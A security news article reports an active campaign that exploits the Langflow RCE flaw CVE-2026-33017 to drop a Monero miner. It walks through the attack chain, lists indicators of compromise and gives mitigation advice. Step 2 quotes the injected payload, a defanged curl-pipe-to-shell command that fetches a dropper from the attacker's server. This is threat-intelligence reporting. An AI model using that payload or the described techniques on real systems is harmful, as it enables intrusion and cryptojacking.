Threat actors are actively exploiting CVE-2026-33017, a critical unauthenticated remote code execution (RCE) vulnerability in Langflow, to compromise internet-exposed AI application servers and silently deploy a customized Monero (XMR) cryptominer.
Tracked and documented by Trend Micro researchers Simon Dulude and John Zhang, the campaign marks a significant pivot in commodity cryptominer delivery tactics, from traditional Docker API abuse and SSH brute-force to targeting AI workflow infrastructure.
Vulnerability Overview
CVE-2026-33017 resides in Langflow’s POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which allows unauthenticated users to run public AI flows without logging in.
The fatal flaw: when an optional data parameter is included in the request, the endpoint accepts attacker-controlled Python code and passes it directly to exec() with zero sandboxing.
Compounding the risk, Langflow ships with AUTO_LOGIN enabled by default, allowing any unauthenticated visitor to obtain a superuser token and create a public flow on demand, effectively handing a full server-side code execution primitive to anyone with internet access.
The vulnerability carries a CVSS base score of 9.8 (Critical) and has been added to CISA’s Known Exploited Vulnerabilities (KEV) catalog. All Langflow versions up to and including 1.8.2 are affected; the patch ships in version 1.9.0.research.jfrog+5
Attack Chain: Step by Step
Step 1 – Reconnaissance. The threat actor begins with a rapid fingerprinting sweep, firing ten HTTP requests in five seconds using rotating spoofed user-agent strings (Safari, Firefox, Chrome variants) to probe endpoints including /health, /api/v1/version, and /manifest.json, deliberately evading signature-based detection.
Step 2 – Initial Access via CVE-2026-33017. After confirming the target, the attacker submits a malicious POST request using the stable python-requests/2.25.1 user-agent, injecting a single Python payload: __import__(‘os’).system(‘curl hxxp[://]83[.]142[.]209[.]214:8080/isp.sh | sh’). A hardcoded flow UUID (0ee284cc-0eb1-493f-bc60-94fa8d1cfd18) is reused across all exploit attempts.
Step 3 – Dropper Stage (isp.sh). The retrieved bash dropper checks for an existing infection, then creates a hidden persistence directory at /var/tmp/.xlamb/. It downloads the main malware binary lambsys via curl or wget, launches it in the background with nohup, and immediately activates an SSH-key-reuse worm that enumerates ~/.ssh/known_hosts, id_rsa, id_ed25519, and loaded SSH agent sockets to spread laterally to every reachable host.
Step 4 – Execution of lambsys.elf. This UPX-packed Go binary (~296 KB) is the campaign’s workhorse. Upon execution, it raises the file descriptor limit to 65,535, then systematically kills 39 rival cryptominer processes (Kinsing, WatchDog, Rocke, Outlaw) by name and terminates processes on 13 known mining ports. It deletes backdoor accounts akay and vfinder left by prior miner campaigns.
Step 5 – Defense Evasion. lambsys disables AppArmor, SELinux, UFW, iptables, the Linux NMI watchdog, and Alibaba Cloud’s Aliyun security agent, targeting both Debian-family and RHEL-family hosts. It strips chattr +i immutability locks from cron, /tmp, and SSH directories, and deletes /var/log/syslog to erase evidence of a compromise.
Step 6 – Persistence. Two watchdog mechanisms are deployed: a cron job that runs every 5 minutes and a bash loop (init_rmount) that runs every 60 seconds, both of which re-download lambsys from C2 if the process is found missing. Post-deployment, /var/tmp and /tmp are locked with chattr +iua, making persistence artifacts undeletable even by root.
Step 7 – Monero Mining. lambsys downloads ks.tar from the C2, MD5-verifies it (hash: 46096a72d84db5f1dafd944fcf6571c8), and extracts a customized XMRig build named procq into a triple-dot-space hidden directory (./. /. /procq). The miner connects to a pool via TCP/3333 using a spoofed user-agent, SystemMonitor/6.25.0, and mines to a unique XMR wallet. C2 heartbeat beacons are POSTed to /status.php every ~128 seconds over HTTP port 80.
Indicators of Compromise (IoCs)
File Hashes (SHA-256)
| Hash | Description |
|---|---|
71af8bd9b8019b7e5f460ce4c5c14ff7716a2c2faaaf1f274ceaa54cb89723bc | lambsys.elf – Go/UPX, 296 KB, 2026 variant |
33588aa446984d3340cab686d38f2aa85a70eb3f76c459da3eef0304592b99df | lambsys.elf – 2024 old variant |
ddde47bf00324075c7eeb0b9d0ff0a5d1b95bfc619aca4b5def85263838212f2 | procq – customized XMRig miner |
Network Indicators
| Indicator | Type | Description |
|---|---|---|
83[.]142[.]209[.]214 | IP / C2 | Primary C2 and payload staging server |
hxxp[://]83[.]142[.]209[.]214/status.php | URL | C2 heartbeat beacon endpoint |
hxxp[://]83[.]142[.]209[.]214/setup_status.php | URL | C2 secondary status endpoint |
hxxp[://]83[.]142[.]209[.]214:8080/isp.sh | URL | Dropper script delivery |
hxxp[://]83[.]142[.]209[.]214:8080/lambsys | URL | Main malware binary delivery |
hxxp[://]83[.]142[.]209[.]214:8080/ks.tar | URL | XMRig miner payload archive |
hxxp[://]94[.]156[.]64[.]241/r.php | URL | Legacy C2 (2024 variant) |
ipinfo[.]io (34[.]117[.]59[.]81) | Domain | Geo-IP check pre-mining |
Go-http-client/1.1 | User-Agent | C2 beacon UA |
SystemMonitor/6.25.0 (Linux x86_64) libuv/1.24.1 gcc/8.3.0 | User-Agent | XMRig pool login spoofed UA |
Ports: 3333, 4444, 5555, 6666, 7777, 3347, 14444, 14433, 56415, 9999, 13531, 3380 | TCP Ports | Mining pool ports killed and used |
Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.
Mitigation & Recommendations
Organizations running Langflow should immediately upgrade to version 1.9.0 or later, as all prior versions including 1.8.2 remain exploitable. Restrict public internet access to Langflow instances and ensure the service does not run under a privileged account.
Defenders should enforce the Spamhaus DROP feed at egress firewalls, doing so would block every C2 beacon this campaign emits without requiring a single Langflow-specific rule.
Any discovery of Lambsys artifacts should be treated as an SSH key exposure incident rather than a single-host compromise, given the worm’s ability to pivot across the victim’s entire SSH-accessible infrastructure.
Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.
 vulnerability in Langflow.){kind=link}